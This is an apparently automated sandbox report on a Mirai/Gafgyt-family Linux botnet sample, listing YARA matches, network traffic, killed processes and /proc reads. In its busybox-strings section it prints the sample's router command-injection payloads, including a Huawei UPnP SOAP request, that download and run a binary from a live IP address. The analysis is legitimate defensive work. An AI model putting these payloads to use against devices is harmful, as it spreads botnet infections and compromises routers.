Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35634
Source: unknown	Network traffic detected: HTTP traffic on port 53144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48306
Source: unknown	Network traffic detected: HTTP traffic on port 56086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53158
Source: unknown	Network traffic detected: HTTP traffic on port 56474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54244
Source: unknown	Network traffic detected: HTTP traffic on port 33534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58212
Source: unknown	Network traffic detected: HTTP traffic on port 50814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36832
Source: unknown	Network traffic detected: HTTP traffic on port 46352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38858
Source: unknown	Network traffic detected: HTTP traffic on port 14257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40138

System Summary

Malicious sample detected (through community Yara rule)

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6229, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6233, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6248, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6250, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6252, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6253, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6273, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6274, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.63.113/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.63.113/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0+h+dPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6248, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6250, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6252, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6253, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6273, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	SIGKILL sent: pid: 6274, result: successful	Jump to behavior

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6233.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6229.1.00007fedb4011000.00007fedb4026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6229, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6233, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@40/0

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6233/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/4332/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2033/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2275/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/3236/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2146/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/4444/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/4445/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/4446/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/517/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/4447/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2285/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2281/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/761/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1622/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1983/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2038/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1860/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2156/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1629/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1627/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/3021/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2294/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2050/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1877/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/772/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1633/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1632/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/774/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/654/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/896/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2048/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/655/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2289/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/777/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6128/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1639/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1638/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/2180/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/4482/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6265/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6264/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6267/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6266/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/4486/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6269/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6242)	File opened: /proc/6268/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 6249)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.YzYaW64z3P /tmp/tmp.WqDUV7Ixl9 /tmp/tmp.gLJiHiVDv4			Jump to behavior
Source: /usr/bin/dash (PID: 6251)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.YzYaW64z3P /tmp/tmp.WqDUV7Ixl9 /tmp/tmp.gLJiHiVDv4			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 54634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47948 -> 37215
